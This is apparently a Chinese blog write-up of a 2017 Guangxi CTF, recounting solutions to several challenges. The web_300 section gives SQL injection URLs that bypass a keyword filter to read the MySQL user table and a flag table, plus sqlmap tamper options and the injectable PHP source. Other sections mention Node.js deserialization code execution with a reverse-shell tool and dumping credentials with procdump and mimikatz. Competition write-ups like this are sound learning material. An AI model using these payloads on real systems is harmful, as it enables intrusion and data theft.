广西南宁市2017CTF总结
前言:
这次CTF游戏体验很差,不得不吐槽下web环境。。算了,毕竟是博客,不适合评论太多。一些基础题我就不发出来了,这里发一些我认为有用的东西。
Basic_100:
给了很多的二进制,更改之前一脸蒙蔽,更改之后比较好做直接二进制转ascii码,在线解密即可:
在 过 去 的 两 个 星 期 里 , 我 已 经 在 D E F C O N 2 2 C T F 里 检 测 出 了 两 个 不 同 的 问 题 : “ s h i t s c o ” 和 “ n o n a m e y e t ” 。 感 谢 所 有 的 意 见 和 评 论 , 我 遇 到 的 最 常 见 的 问 题 是 : “ 我 怎 么 才 能 在 C T F s 里 开 始 ? ” 在 不 久 前 我 问 过 自 己 一 样 的 问 题 , 所 以 我 想 要 给 出 些 对 你 追 求 C T F s 的 建 议 和 资 源 。 最 简 单 的 方 法 就 是 注 册 一 个 介 绍 C T F 的 帐 号 , 如 C S A W , P i c o C T F , M i c r o c o r r u p t i o n 或 是 其 他 的 。 通 过 实 践 、 耐 心 和 奉 献 精 神 , 你 的 技 能 { r D g a z 0 1 1 z Y g f Q E l Q H D T j 2 l W 7 } 会 随 着 时 间 而 提 高
web_300:
这题绝了!听说上午能跑sqlmap下午不能(我下午手注都卡的要命,三次刷新两次被重置),后面得知出题人自己手写了一个waf,然后跑sqlmap会被禁。。union也被禁!
最后知道做出来的都是用sqlmap跑出来的!多数利用“--random-agent”,使用tamper绕过,都是利用编码方式: space2hash.py base64encode.py charencode.py这样子是能跑出来flag的。。
出题人给了我们一个手工绕waf的payload:
http://39.108.7.112/show.php?id[]=-1) union/*& id[]=*/ select 1,user(),3/*&id[]=*/from mysql.user #
http://39.108.7.112/show.php?id[]=-1) union/*& id[]=*/ select 1,user(),flag/*&id[]=*/from gxnnctf2017.flag #
下面再给出这题的部分源码:
<html> <head> <meta charset="utf-8"/> <title>葫芦兄弟</title> </head> <body> <?php foreach($_GET as $get){ if(is_array($get)){ foreach($get as $g){ if(stristr($g,'select')!=FALSE && stristr($g,'union')!=FALSE){ die("stop attack!"); }elseif(stristr($g,'select')!=FALSE && stristr($g,'from')!=FALSE){ die("stop attack!"); } } }else{ if(stristr($get,'select')!=FALSE && stristr($get,'union')!=FALSE){ die("stop attack!"); } } } mysql_connect("localhost", "root", "") or die("Could not connect: " . mysql_error()); mysql_select_db("test"); $id=$_GET['id']; mysql_query("SET NAMES 'utf8'"); if(is_array($id)) { $sql='select * from news where id in('.implode(',',$id).')'; }else{ $sql='select * from news where id='.$id; } echo $sql; $result = mysql_query($sql); while ($row = mysql_fetch_array($result, MYSQL_NUM)) { printf ("id: %s</br> Title: %s</br> %s", $row[0], $row[1],$row[2]); } mysql_free_result($result); ?> </body> </html>
Basic_200
这题就是给了16进制形式的密文,key,向量让解密
网上搜到这个,照做。
Misc_300小黑的流量:
通过分析数据包,发现使用了procdump,导出一个包,直接提取出来,保存为.dup文件。
再通过使用mimikatz成功读取密码,密码就是flag。
web-200:
通过http返回头想到是nodejs反序列化漏洞,搜索nodejs漏洞文章,在获取当前目录后,尝试猜flag目录,读取文件。
出自:http://www.jianshu.com/p/16f4a473940a
这里可以反弹shell,也可以直接构造payload执行命令。
github工具:https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py
Misc_200_2
下载下来是一个password.tar.gz
是个truecrypt加密的文件
爆破了一些简单密码无果,没办法就根据官方主题去猜几个,后来就猜到这个密码gxnnctf2017,正确!